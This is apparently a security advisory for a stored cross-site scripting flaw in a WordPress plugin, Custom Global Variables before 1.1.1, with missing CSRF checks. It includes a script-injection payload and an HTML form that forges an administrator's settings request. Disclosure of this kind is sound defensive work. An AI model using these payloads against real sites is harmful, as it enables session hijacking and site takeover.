Custom Global Variables < 1.1.1 – Stored Cross-Site Scripting (XSS)

Description

The plugin does not sanitise the 'name' field of the variable added in its settings, leading to a Stored Cross-Site Scripting issue. Attackers could also use the lack of CSRF and capability checks to make a logged in administrator add the payload and make them perform further unwanted actions.

Proof of Concept

As an administrator, go to the Settings > Custom Global Variables page, add the following payload ("><script>alert(/XSS/)</script><") in the 'name' field, add whatever value in the 'value' field and submit it

Via CSRF:
<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=custom-global-variables" method="POST">
      <input type="hidden" name="vars[1][name]" value='"><script>alert(/XSS/)</script>' />
      <input type="hidden" name="vars[1][val]" value="a" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>